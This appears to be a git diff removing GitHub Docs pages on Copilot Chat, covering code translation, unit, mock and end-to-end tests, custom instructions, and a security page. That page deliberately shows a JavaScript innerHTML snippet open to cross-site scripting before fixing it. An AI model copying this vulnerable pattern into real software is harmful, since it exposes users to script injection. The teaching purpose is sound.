/dev/null @@ -1,146 +0,0 @@ ---- -title: Translating code to a different programming language -shortTitle: Translating code -intro: '{% data variables.product.prodname_copilot_chat_short %} can help you rewrite code to perform the same operations but in a different programming language.' -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Simple -octicon: rocket -topics: - - Copilot ---- - -There are many reasons why you might want to move code from one programming language to another. Each programming language has its own strengths and weaknesses, and you might want to take advantage of features that are available in another language. For example, you might want to move code to a language that has better performance, or which uses strong typing to help prevent bugs. - -For ease of maintaining code, you might want to move code to a language that is more widely used in your organization. For example, if few people in your organization know an older language such as Perl, you might want to move any Perl code that's still in use to a more commonly used language such as Python or JavaScript. - -{% data variables.product.prodname_copilot_short %} can help you translate code from one language to another. Translating a standalone file, such as a script, is straightforward. This process is described in this article. - -Translating a project containing multiple files is a more complex process, and is described in [AUTOTITLE](/copilot/using-github-copilot/guides-on-using-github-copilot/using-copilot-to-migrate-a-project). - -## Example scenario - -The following Perl script prompts the user to enter the path to a text file. It checks what the user enters and if a text file is found at that path, it outputs a word count and character count for the contents of the file. - -```perl copy -#!/usr/bin/perl -use strict; -use warnings; -use File::Spec; -use File::Basename; - -print "Please enter the path to a local text file: "; -chomp(my $file_path = <STDIN>); - -if ($file_path =~ /[`|;&<>(){}\[\]]/ || !File::Spec->file_name_is_absolute($file_path) && dirname($file_path) ne '.') { - die "Invalid file path. Please provide a valid path.\n"; -} -if (!-e $file_path) { - die "File not found. Please provide an existing file path.\n"; -} - -open(my $fh, '<', $file_path) or die "Could not open file '$file_path': $!\n"; - -my $is_binary = 0; -while (read($fh, my $buffer, 1024)) { - if ($buffer =~ /[^\x09\x0A\x0D\x20-\x7E]/) { - $is_binary = 1; - last; - } -} -close($fh); - -if ($is_binary) { - die "The file '$file_path' is a binary file. Please provide a text file.\n"; -} - -open($fh, '<', $file_path) or die "Could not open file '$file_path': $!\n"; -my $content = do { local $/; <$fh> }; -close($fh); - -my $word_count = scalar(split /\s+/, $content); -my $char_count = length($content); - -print "The file '$file_path' contains $word_count words and $char_count characters.\n"; -``` - -## Example prompt - -`Tell me how I can convert this Perl script to Typescript. The functionality and output of the new script should be exactly the same as the existing one. Also tell me how to run the new file using Node.` - -## Example response - -{% data variables.product.prodname_copilot_short %} generates the following Typescript code. - -> [!NOTE] {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get a different response from the one shown here. - -```typescript copy -import * as fs from 'fs'; -import * as path from 'path'; -import * as readline from 'readline'; - -const rl = readline.createInterface({ - input: process.stdin, - output: process.stdout -}); - -rl.question('Please enter the path to a local text file: ', (filePath) => { - rl.close(); - - if (/[`|;&<>(){}\[\]]/.test(filePath) || (!path.isAbsolute(filePath) && path.dirname(filePath) !== '.')) { - console.error('Invalid file path. Please provide a valid path.'); - process.exit(1); - } - - if (!fs.existsSync(filePath)) { - console.error('File not found. Please provide an existing file path.'); - process.exit(1); - } - - const fileBuffer = fs.readFileSync(filePath); - const isBinary = fileBuffer.some(byte => byte < 9 || (byte > 13 && byte < 32) || byte > 126); - - if (isBinary) { - console.error(`The file '${filePath}' is a binary file. Please provide a text file.`); - process.exit(1); - } - - const content = fileBuffer.toString('utf-8'); - const wordCount = content.split(/\s+/).length; - const charCount = content.length; - - console.log(`The file '${filePath}' contains ${wordCount} words and ${charCount} characters.`); -}); -``` - -Save this file as `wordcount.ts`. - -{% data variables.product.prodname_copilot_short %} goes on to explain how to run the new file using Node. - -1. **Install Node.js:** If you don't have it already, download and install Node.js from the official website: https://nodejs.org/. -1. **Install TypeScript:** - - ```shell - npm install -g typescript - ``` - -1. **Compile the TypeScript code:** - - ```shell - tsc wordcount.ts - ``` - - This will create a `wordcount.js` file in the same directory. - -1. **Run the JavaScript file with Node.js:** - - ```shell - node wordcount.js - ``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/security-analysis/finding-existing-vulnerabilities-in-code.md b/content/copilot/copilot-chat-cookbook/security-analysis/finding-existing-vulnerabilities-in-code.md deleted file mode 100644 index 267c534713d9..000000000000 --- a/content/copilot/copilot-chat-cookbook/security-analysis/finding-existing-vulnerabilities-in-code.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 'Finding existing vulnerabilities in code' -shortTitle: Finding vulnerabilities -intro: 'Copilot Chat can help find common vulnerabilities in your code and suggest fixes.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/security-analysis/finding-existing-vulnerabilities-in-code -versions: - feature: copilot -category: - - 'Security analysis' -complexity: - - Intermediate -octicon: code -topics: - - Copilot ---- - -While they may be considered "common knowledge" by many developers, the vast majority of newly introduced security weaknesses are due to vulnerabilities like cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF). These vulnerabilities can be mitigated by following secure coding practices, such as using parameterized queries, input validation, and avoiding hard-coded sensitive data. GitHub Copilot can help detect and resolve these issues. - -> [!NOTE] While {% data variables.product.prodname_copilot_chat_short %} can help find some common security vulnerabilities and help you fix them, you should not rely on {% data variables.product.prodname_copilot_short %} for a comprehensive security analysis. Using {% data variables.product.prodname_code_scanning %} will more thoroughly ensure your code is secure. For more information on setting up {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -## Example scenario - -The JavaScript code below has a potential XSS vulnerability that could be exploited if the `name` parameter is not properly sanitized before being displayed on the page. - -```javascript -function displayName(name) { - const nameElement = document.getElementById('name-display'); - nameElement.innerHTML = `Showing results for "${name}"` -} -``` - -## Example prompt - -You can ask {% data variables.product.prodname_copilot_chat_short %} to analyze code for common security vulnerabilities and provide explanations and fixes for the issues it finds. - -`Analyze this code for potential security vulnerabilities and suggest fixes.` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} responds with an explanation of the vulnerability, and suggested changes to the code to fix it. - -```javascript -function displayName(name) { - const nameElement = document.getElementById('name-display'); - nameElement.textContent = `Showing results for "${name}"`; -} -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} -* [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) diff --git a/content/copilot/copilot-chat-cookbook/security-analysis/index.md b/content/copilot/copilot-chat-cookbook/security-analysis/index.md deleted file mode 100644 index ccd0245e3324..000000000000 --- a/content/copilot/copilot-chat-cookbook/security-analysis/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Security analysis -intro: 'Discover ways that you can use {% data variables.product.prodname_copilot %} to improve the security of your code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/security-analysis -versions: - feature: copilot -topics: - - Copilot -children: - - /finding-existing-vulnerabilities-in-code ---- diff --git a/content/copilot/copilot-chat-cookbook/testing-code/create-end-to-end-tests-for-a-webpage.md b/content/copilot/copilot-chat-cookbook/testing-code/create-end-to-end-tests-for-a-webpage.md deleted file mode 100644 index c96a4373c354..000000000000 --- a/content/copilot/copilot-chat-cookbook/testing-code/create-end-to-end-tests-for-a-webpage.md +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: 'Create end-to-end tests for a webpage' -shortTitle: Create end-to-end tests -intro: '{% data variables.product.prodname_copilot_chat_short %} can help with generating end-to-end tests.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/testing-code/create-end-to-end-tests-for-a-webpage -versions: - feature: copilot -category: - - 'Testing code' -complexity: - - Advanced -octicon: beaker -topics: - - Copilot ---- - -Creating end-to-end tests for a webpage can be time-consuming and complex as the HTML will be generated dynamically. {% data variables.product.prodname_copilot_chat_short %} can help you create end-to-end tests for a webpage by suggesting the necessary code to interact with the webpage and validate the expected results. - -## Example scenario - -Imagine a React application that displays product details on a webpage. You need to create end-to-end tests to ensure the product details are displayed correctly. You can ask {% data variables.product.prodname_copilot_chat_short %} to generate these tests for you. - -```javascript -import React, { useState, useEffect } from 'react'; -import PropTypes from 'prop-types'; - -const ProductDetails = ({ productId = '1' }) => { - const [product, setProduct] = useState(null); - const [loading, setLoading] = useState(true); - const [error, setError] = useState(null); - - useEffect(() => { - const fetchProduct = async () => { - try { - const response = await fetch(`/api/product/${productId}`); - if (!response.ok) { - throw new Error('Product not found'); - } - const data = await response.json(); - setProduct(data); - setLoading(false); - } catch (err) { - setError(err.message); - setLoading(false); - } - }; - - fetchProduct(); - return; - }, [productId]); // Add productId to dependency array - - if (loading) return <div>Loading...</div>; - if (error) return <div>Error: {error}</div>; - - return ( - <div> - {product && ( - <div> - <h2>{product.name}</h2> - <p>{product.description}</p> - <p>Price: ${product.price}</p> - </div> - )} - </div> - ); -}; - -ProductDetails.propTypes = { - productId: PropTypes.string -}; - -export default ProductDetails; -``` - -## Example prompt - -> [!NOTE] This example uses Playwright for end-to-end testing, but you can use other frameworks like Selenium or Cypress. - -`Using Playwright, generate an e2e test to ensure the product displays correctly.` - -If you have an existing test you wish {% data variables.product.prodname_copilot_short %} to use as a model, you can use `#file: path/to/test-file.js` to provide the path to the file, and include this information in the prompt. - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} will respond with an end-to-end test that you can use for your application. - -```typescript -import { test, expect } from '@playwright/test'; - -test.describe('ProductDetails Component', () => { - test.beforeEach(async ({ page }) => { - // Set up API mocking - await page.route('/api/product/1', async (route) => { - await route.fulfill({ - status: 200, - contentType: 'application/json', - body: JSON.stringify({ - name: 'Test Product', - description: 'This is a test product', - price: 99.99 - }) - }); - }); - - // Mock error response for product ID 999 - await page.route('/api/product/999', async (route) => { - await route.fulfill({ - status: 404, - contentType: 'application/json', - body: JSON.stringify({ error: 'Product not found' }) - }); - }); - }); - - test('displays loading state initially', async ({ page }) => { - await page.goto('/product/1'); - const loadingElement = page.locator('text=Loading...'); - await expect(loadingElement).toBeVisible(); - }); - - test('displays product details correctly', async ({ page }) => { - await page.goto('/product/1'); - - // Wait for loading to disappear - await expect(page.getByText('Loading...')).toBeHidden(); - - // Check all product details - await expect(page.locator('h2')).toHaveText('Test Product'); - await expect(page.locator('text=This is a test product')).toBeVisible(); - await expect(page.locator('text=Price: $99.99')).toBeVisible(); - }); - - test('displays error message when product not found', async ({ page }) => { - await page.goto('/product/999'); - - // Wait for loading to disappear - await expect(page.getByText('Loading...')).toBeHidden(); - - // Check error message - await expect(page.locator('text=Error: Product not found')).toBeVisible(); - }); -}); -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/testing-code/create-mock-objects-to-abstract-layers.md b/content/copilot/copilot-chat-cookbook/testing-code/create-mock-objects-to-abstract-layers.md deleted file mode 100644 index aa49070b9021..000000000000 --- a/content/copilot/copilot-chat-cookbook/testing-code/create-mock-objects-to-abstract-layers.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: 'Create mock objects to abstract layers' -shortTitle: Create mock objects -intro: '{% data variables.product.prodname_copilot_chat_short %} can help with creating mock objects that you can use for unit tests.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/testing-code/create-mock-objects-to-abstract-layers -versions: - feature: copilot -category: - - 'Testing code' -complexity: - - Intermediate -octicon: beaker -topics: - - Copilot ---- - -When creating unit tests, it's important to ensure they're isolated and not depending on external services. One way to achieve this is to create mock objects that abstract layers of your application. {% data variables.product.prodname_copilot_chat_short %} can help you generate the code you need to create these mock objects. - -## Example scenario - -Imagine a website built with TypeScript which displays a list of runners. You have a service which fetches the runners from a database, and the server-side code which uses this service. You want to test the server-side code, but you don't want to make a call to the database. You can ask {% data variables.product.prodname_copilot_chat_short %} to generate a mock object for the service. - -```typescript -// SvelteKit example at +page.server.ts -import service from './service'; - -export async function load({ params }) { - const runner = await service.getRunner(params.id); - - return { - runner - }; -} -``` - -## Example prompt - -This example assumes you are using [vitest](https://vitest.dev/) for your tests, but will work with other test runners. - -`/tests Create a unit test to ensure the service is called correctly. Mock the service object.` - -If you have an existing test you wish {% data variables.product.prodname_copilot_short %} to use as a model, you can use `#file: path/to/test-file.js` to provide the path to the file, and include this information in the prompt. - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} provides the plan it will implement and the code text which includes the mocks. - -```typescript -import { describe, it, expect, vi, beforeEach } from 'vitest'; -import { load } from './+page.server.ts'; - -// Mock the entire service module -vi.mock('./service', () => ({ - default: { - getRunner: vi.fn() - } -})); - -// Import the mocked service -import service from './service'; - -describe('load function', () => { - const mockRunner = { - id: '123', - name: 'Test Runner', - status: 'active' - }; - - beforeEach(() => { - // Reset mock before each test - vi.resetAllMocks(); - - // Setup default mock implementation - (service.getRunner as any).mockResolvedValue(mockRunner); - }); - - it('should fetch runner with correct id', async () => { - const params = { id: '123' }; - const result = await load({ params }); - - expect(service.getRunner).toHaveBeenCalledWith('123'); - expect(service.getRunner).toHaveBeenCalledTimes(1); - expect(result).toEqual({ runner: mockRunner }); - }); -}); -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/testing-code/generate-unit-tests.md b/content/copilot/copilot-chat-cookbook/testing-code/generate-unit-tests.md deleted file mode 100644 index 78807ed9f04e..000000000000 --- a/content/copilot/copilot-chat-cookbook/testing-code/generate-unit-tests.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'Generate unit tests' -shortTitle: Generate unit tests -intro: '{% data variables.product.prodname_copilot_chat_short %} can help with generating unit tests for a function.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/testing-code/generate-unit-tests -versions: - feature: copilot -category: - - 'Testing code' -complexity: - - Intermediate -octicon: beaker -topics: - - Copilot ---- - -A good suite of unit tests is critical to the success of any project. However, writing these tests can be time-consuming and are often neglected. {% data variables.product.prodname_copilot_chat_short %} can help generate these tests for you. - -## Example scenario - -Imagine you have a Python function which validates data before updating the database. You need to create unit tests to ensure the validation performs the way you expect. You can ask {% data variables.product.prodname_copilot_chat_short %} to generate these tests for you. - -```python -def validate_price(price: float): - if price <= 0: - raise ValueError("Price must be greater than 0") - if price > 1000: - raise ValueError("Price must be less than or equal to 1000") -``` - -## Example prompt - -`/tests Generate unit tests for this function. Validate both success and failure, and include edge cases.` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -If this is your first time asking {% data variables.product.prodname_copilot_chat_short %} to generate unit tests, it may ask you if you wish to configure unit tests for your project. For this example, we are assuming you decline this offer. - -{% data variables.product.prodname_copilot_short %} will provide a strategy for generating the tests, and then provide the tests themselves. - -```python -import unittest -from generate_unit_tests import validate_price - -class TestValidateProduct(unittest.TestCase): - def test_price_zero(self): - with self.assertRaises(ValueError) as context: - validate_price(0) - self.assertEqual(str(context.exception), "Price must be greater than 0") - - def test_price_negative(self): - with self.assertRaises(ValueError) as context: - validate_price(-10) - self.assertEqual(str(context.exception), "Price must be greater than 0") - - def test_price_above_limit(self): - with self.assertRaises(ValueError) as context: - validate_price(1500) - self.assertEqual(str(context.exception), "Price must be less than or equal to 1000") - - def test_price_edge_case_zero(self): - with self.assertRaises(ValueError) as context: - validate_price(0) - self.assertEqual(str(context.exception), "Price must be greater than 0") - - def test_price_edge_case_max(self): - try: - validate_price(1000) - except ValueError: - self.fail("validate_price() raised ValueError unexpectedly!") - -if __name__ == '__main__': - unittest.main() -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/testing-code/index.md b/content/copilot/copilot-chat-cookbook/testing-code/index.md deleted file mode 100644 index 2fcd8a223d6b..000000000000 --- a/content/copilot/copilot-chat-cookbook/testing-code/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Testing code -intro: 'Discover ways that you can use {% data variables.product.prodname_copilot %} to test your code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/testing-code -versions: - feature: copilot -topics: - - Copilot -children: - - /generate-unit-tests - - /create-mock-objects-to-abstract-layers - - /create-end-to-end-tests-for-a-webpage ---- diff --git a/content/copilot/customizing-copilot/adding-personal-custom-instructions-for-github-copilot.md b/content/copilot/customizing-copilot/adding-personal-custom-instructions-for-github-copilot.md deleted file mode 100644 index 88acb4c19a1b..000000000000 --- a/content/copilot/customizing-copilot/adding-personal-custom-instructions-for-github-copilot.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Adding personal custom instructions for GitHub Copilot -shortTitle: Personal custom instructions -intro: 'You can add personal instructions for {% data variables.product.prodname_copilot_chat %} to customize chat responses for your conversations.' -versions: - feature: copilot -topics: - - Copilot ---- - -{% data reusables.copilot.personal-instructions-note %} - -## About personal custom instructions for {% data variables.product.prodname_copilot_chat %} - -You can add instructions for {% data variables.product.prodname_copilot_chat %} in order to receive chat responses that are customized to your personal preferences, across your conversations on the {% data variables.product.github %} website. Your saved instructions will not be displayed in the chat, but they are automatically provided to {% data variables.product.prodname_copilot_short %} so that it can provide responses aligned with your personal preferences. - -For example, you can choose to always have {% data variables.product.prodname_copilot_chat_short %} respond in a preferred language or with a particular style. Some examples of instructions you could add are: -* `Always respond in Spanish.` -* `Your style is a helpful colleague, minimize explanations but provide enough context to understand the code.` -* `Always provide examples in TypeScript.` - -Personal custom instructions apply to conversations that you, as a user, have with {% data variables.product.prodname_copilot_chat_short %} across {% data variables.product.github %}, and are different from repository custom instructions, which apply to conversations in the context of a single repository. For more information on repository instructions, see [AUTOTITLE](/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot). - -{% data reusables.copilot.repository-vs-personal-instructions-note %} If you are concerned about response quality, you can also choose to temporarily disable repository instructions. See [AUTOTITLE](/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot?tool=webui#enabling-or-disabling-repository-custom-instructions). - -## Adding personal custom instructions - -You can add personal custom instructions either in the Chat panel or in immersive mode. The same instructions will be applied in both modes. - -1. In the top right of any page on {% data variables.product.github %}, either: - * Click the **{% octicon "copilot" aria-label="Copilot" %}** icon to open the {% data variables.product.prodname_copilot_chat_short %} panel. - * Click {% octicon "triangle-down" aria-label="The downwards triangle icon" %} next to the **{% octicon "copilot" aria-label="Copilot" %}** icon, then click **Immersive** to open {% data variables.product.prodname_copilot_chat_short %} in the full-page, immersive mode. -1. Select the {% octicon "kebab-horizontal" aria-label="Open conversation options" %} dropdown menu at the top right of the Chat panel, or immersive page, then click **Personal instructions**. -1. Add natural language instructions to the text box. - - You can write your instructions in any format you prefer. For example, you can write them as a single block of text, each on a new line, or separated by blank lines. - -1. Click **Save**. Your instructions are now active, and will stay active until you change or remove them. diff --git a/content/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot.md b/content/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot.md deleted file mode 100644 index 2b3a1bf71ff8..000000000000 --- a/content/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot.md +++ /dev/null @@ -1,277 +0,0 @@ ---- -title: Adding repository custom instructions for GitHub Copilot -shortTitle: Repository custom instructions -intro: 'You can create a file in a repository that automatically adds information to all questions you ask {% data variables.product.prodname_copilot_chat_short %}.' -redirect_from: - - /copilot/customizing-copilot/adding-custom-instructions-for-github-copilot -versions: - feature: copilot -topics: - - Copilot ---- - - -{% webui %} - -> This feature is currently in {% data variables.release-phases.public_preview %} and is subject to change. -> -{% data reusables.copilot.custom-instructions-note %} -> -> This version of this article is for using repository custom instructions on the {% data variables.product.github %} website. Click the tabs above for information on using custom instructions in other environments. <!-- markdownlint-disable-line MD027 --> - -{% endwebui %} - -{% vscode %} - -{% data reusables.copilot.custom-instructions-note %} -> -> This version of this article is for using repository custom instructions in {% data variables.product.prodname_vscode_shortname %}. Click the tabs above for instructions on using custom instructions in other environments. <!-- markdownlint-disable-line MD027 --> - -{% endvscode %} - -{% visualstudio %} - -> This feature is currently in {% data variables.release-phases.public_preview %} and is subject to change. -> -{% data reusables.copilot.custom-instructions-note %} -> -> This version of this article is for using repository custom instructions in {% data variables.product.prodname_vs %}. Click the tabs above for instructions on using custom instructions in other environments. <!-- markdownlint-disable-line MD027 --> - -{% endvisualstudio %} - -## About repository custom instructions for {% data variables.product.prodname_copilot_chat %} - -{% data variables.product.prodname_copilot %} can provide chat responses that are tailored to the way your team works, the tools you use, or the specifics of your project, if you provide it with enough context to do so. Instead of repeatedly adding this contextual detail to your chat questions, you can create a file in your repository that automatically adds this information for you. The additional information is not displayed in the chat, but is available to {% data variables.product.prodname_copilot_short %} to allow it to generate higher quality responses. - -{% vscode %} - -Additionally, you can create prompt files. With prompt files, you can specify common prompt instructions and relevant context in a Markdown file (`*.prompt.md`), that you can then reuse in your chat prompts. Prompt files are only available in {% data variables.product.prodname_vscode_shortname %}. - -{% endvscode %} - -{% webui %} - -You can also create personal custom instructions, which apply to conversations you, as a user, have with {% data variables.product.prodname_copilot_chat_short %} across {% data variables.product.github %}. This differs from repository custom instructions, which apply to conversations in the context of a single repository. For more information on personal instructions, see [AUTOTITLE](/copilot/customizing-copilot/adding-personal-custom-instructions-for-github-copilot). - -{% endwebui %} - -## Prerequisites - -* A custom instructions file (see the instructions below). - -{% webui %} - -* Your personal choice of whether to use custom instructions must be set to enabled. This is enabled by default. See [Enabling or disabling repository custom instructions](#enabling-or-disabling-repository-custom-instructions) later in this article. -* During the {% data variables.release-phases.public_preview %}, if you have a {% data variables.product.prodname_copilot_business_short %} {% ifversion ghec %}or {% data variables.product.prodname_copilot_enterprise_short %}{% endif %} subscription, then the organization {% ifversion ghec %}or enterprise{% endif %} from which you receive your subscription must have the **Opt in to preview features** setting enabled. See [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#enabling-copilot-features-in-your-organization){% ifversion ghec %} and [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise#copilot-in-githubcom){% endif %}. - -{% endwebui %} - -{% vscode %} - -* The **Use Instruction Files** option must be enabled in your settings. This is enabled by default. See [Enabling or disabling repository custom instructions](#enabling-or-disabling-repository-custom-instructions) later in this article. - -{% endvscode %} - -{% visualstudio %} - -* The **Enable custom instructions** option must be enabled in your settings. This is disabled by default. See [Enabling or disabling repository custom instructions](#enabling-or-disabling-repository-custom-instructions) later in this article. - -{% endvisualstudio %} - -## Creating a repository custom instructions file - -1. In the root of your repository, create a file named `.github/copilot-instructions.md`. - - Create the `.github` directory if it does not already exist. - -1. Add natural language instructions to the file, in Markdown format. - - Whitespace between instructions is ignored, so the instructions can be written as a single paragraph, each on a new line, or separated by blank lines for legibility. - -## Sample instructions - -This example of a `.github/copilot-instructions.md` file contains three instructions that will be added to all chat questions. - -```markdown -We use Bazel for managing our Java dependencies, not Maven, so when talking about Java packages, always give me instructions and code samples that use Bazel. - -We always write JavaScript with double quotes and tabs for indentation, so when your responses include JavaScript code, please follow those conventions. - -Our team uses Jira for tracking items of work. -``` - -## Writing effective repository custom instructions - -The instructions you add to the `.github/copilot-instructions.md` file should be short, self-contained statements that add context or relevant information to supplement users' chat questions. - -The following types of instructions are unlikely to work as desired and may cause problems with other areas of {% data variables.product.prodname_copilot_short %}: - -* Requests to refer to external resources when formulating a response -* Instructions to answer in a particular style -* Requests to always respond with a certain level of detail - -The following instructions are therefore unlikely to have the intended result: - -```markdown -Always conform to the coding styles defined in styleguide.md in repo my-org/my-repo when generating code. - -Use @terminal when answering questions about Git. - -Answer all questions in the style of a friendly colleague, using informal language. - -Answer all questions in less than 1000 characters, and words of no more than 12 characters. -``` - -## Repository custom instructions in use - -{% webui %} - -The instructions in the `.github/copilot-instructions.md` file are available for use by {% data variables.product.prodname_copilot_chat_short %} as soon as you save the file. The complete set of instructions will be automatically added to chat prompts that relate to the repository containing the instructions file. - -In {% data variables.product.prodname_copilot_chat_short %}'s immersive view ([github.com/copilot](https://github.com/copilot)), you can start a conversation that uses custom instructions by adding, as an attachment, the repository that contains the instructions file. - -Whenever custom instructions are used by {% data variables.product.prodname_copilot_chat_short %}, the instructions file is added as a reference for the response that's generated. To find out whether custom instructions were used, expand the list of references at the top of a chat response in the Chat panel and check whether the `.github/copilot-instructions.md` file is listed. - -![Screenshot of an expanded References list, showing the 'copilot-instructions.md' file highlighted with a dark organge outline.](/assets/images/help/copilot/custom-instructions-ref-in-github.png) - -You can click the reference to open the file. - -{% data reusables.copilot.repository-vs-personal-instructions-note %} See [AUTOTITLE](/copilot/customizing-copilot/adding-personal-custom-instructions-for-github-copilot). - -{% endwebui %} - -{% vscode %} - -{% data reusables.copilot.custom-instructions-reference %} - -![Screenshot of an expanded References list, showing the 'copilot-instructions.md' file highlighted with a dark orange outline.](/assets/images/help/copilot/custom-instructions-vscode.png) - -{% endvscode %} - -{% visualstudio %} - -{% data reusables.copilot.custom-instructions-reference %} - -![Screenshot of the References popup, showing the 'copilot-instructions.md' file highlighted with a dark orange outline.](/assets/images/help/copilot/custom-instruction-ref-visual-studio.png) - -{% endvisualstudio %} - -## Enabling or disabling repository custom instructions - -You can choose whether or not to have custom instructions added to your chat questions. - -{% webui %} - -1. Click the {% octicon "kebab-horizontal" aria-label="Conversation options" %} button at the top of the Chat panel, or the top right of the immersive page. -1. Click **Disable custom instructions** or **Enable custom instructions**. - - > [!NOTE] - > In immersive mode, you will only see these options if you have attached a repository that contains a custom instructions file. - -Your choice persists until you change it. - -{% endwebui %} - -{% vscode %} - -1. Open the Setting editor by using the keyboard shortcut <kbd>Command</kbd>+<kbd>,</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>,</kbd> (Linux/Windows). -1. Type `instruction file` in the search box. -1. Select or clear the checkbox under **Code Generation: Use Instruction Files**. - -{% endvscode %} - -{% visualstudio %} - -1. In the {% data variables.product.prodname_vs %} menu bar, under **Tools**, click **Options**. - - ![Screenshot of the {% data variables.product.prodname_vs %} menu bar. The "Tools" menu is expanded, and the "Options" item is highlighted with an orange outline.](/assets/images/help/copilot/vs-toolbar-options.png) - -1. In the "Options" dialog, type `custom instructions` in the search box, then click **{% data variables.product.prodname_copilot_short %}**. -1. Select or clear the checkbox for **(Preview) Enable custom instructions to be loaded from .github/copilot-instructions.md files and added to requests**. - -{% endvisualstudio %} - -{% vscode %} - -## About prompt files - -> [!NOTE] Prompt files are {% data variables.release-phases.public_preview %} and subject to change. - -Prompt files let you build and share reusable prompt instructions with additional context. A prompt file is a Markdown file, stored in your workspace, that mimics the existing format of writing prompts in {% data variables.product.prodname_copilot_chat_short %} (for example, `Rewrite #file:x.ts`). This allows blending natural language instructions, additional context, and even linking to other prompt files as dependencies. - -While custom instructions help to add codebase-wide context to each AI workflow, prompt files let you add instructions to a specific chat interaction. - -Common use cases include: - -* **Code generation**. Create reusable prompts for components, tests, or migrations (for example, React forms, or API mocks). -* **Domain expertise**. Share specialized knowledge through prompts, such as security practices, or compliance checks. -* **Team collaboration**. Document patterns and guidelines with references to specs and documentation. -* **Onboarding**. Create step-by-step guides for complex processes or project-specific patterns. - -You can have multiple prompt files in your workspace, each of which defines a prompt for a different purpose. - -### Prompt file examples - -The following examples demonstrate how to use prompt files. - -* `New React form.prompt.md` - contains instructions for a reusable task to generate a form using React. - - ```markdown - Your goal is to generate a new React form component. - - Ask for the form name and fields if not provided. - - Requirements for the form: - - Use form design system components: [design-system/Form.md](../docs/design-system/Form.md) - - Use `react-hook-form` for form state management: - - Always define TypeScript types for your form data - - Prefer *uncontrolled* components using register - - Use `defaultValues` to prevent unnecessary rerenders - - Use `yup` for validation: - - Create reusable validation schemas in separate files - - Use TypeScript types to ensure type safety - - Customize UX-friendly validation rules - ``` - -* `API security review.prompt.md` - contains reusable information about security practices for REST APIs, which can be used to do security reviews of REST APIs. - - ```markdown - Secure REST API review: - - Ensure all endpoints are protected by authentication and authorization - - Validate all user inputs and sanitize data - - Implement rate limiting and throttling - - Implement logging and monitoring for security events - … - ``` - -### Enabling prompt files - -To enable prompt files, configure the workspace settings. - -1. Open the command palette by pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) / <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac). -1. Type "Open Workspace Settings (JSON)" and select the option that's displayed. -1. In the `settings.json` file, add `"chat.promptFiles": true` to enable the `.github/prompts` folder as the location for prompt files. This folder will be created if it does not already exist. - -### Creating prompt files - -1. Open the command palette by pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) / <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac). -1. Type "prompt" and select **Chat: Create Prompt**. -1. Enter a name for the prompt file, excluding the `.prompt.md` file name extension. The name can contain alphanumeric characters and spaces and should describe the purpose of the prompt information the file will contain. -1. Write the prompt instructions, using Markdown formatting. - - You can reference other files in the workspace by using Markdown links—for example, `[index](../../web/index.ts)`—or by using the `#file:../../web/index.ts` syntax. Paths are relative to the prompt file. Referencing other files allows you to provide additional context, such as API specifications or product documentation. - -### Using prompt files - -1. At the bottom of the {% data variables.product.prodname_copilot_chat_short %} view, click the **Attach context** icon ({% octicon "paperclip" aria-hidden="true" %}). -1. In the dropdown menu, click **Prompt...** and choose the prompt file you want to use. -1. Optionally, attach additional files, including prompt files, to provide more context. -1. Optionally, type additional information in the chat prompt box. - - Whether you need to do this or not depends on the contents of the prompt you are using. - -1. Submit the chat prompt. - -For more information about prompt files, see [Custom instructions for GitHub Copilot in VS Code](https://code.visualstudio.com/docs/copilot/copilot-customization#_reusable-prompt-files-experimental) in the {% data variables.product.prodname_vscode %} documentation. - -{% endvscode %} diff --git a/content/copilot/customizing-copilot/creating-a-custom-model-for-github-copilot.md 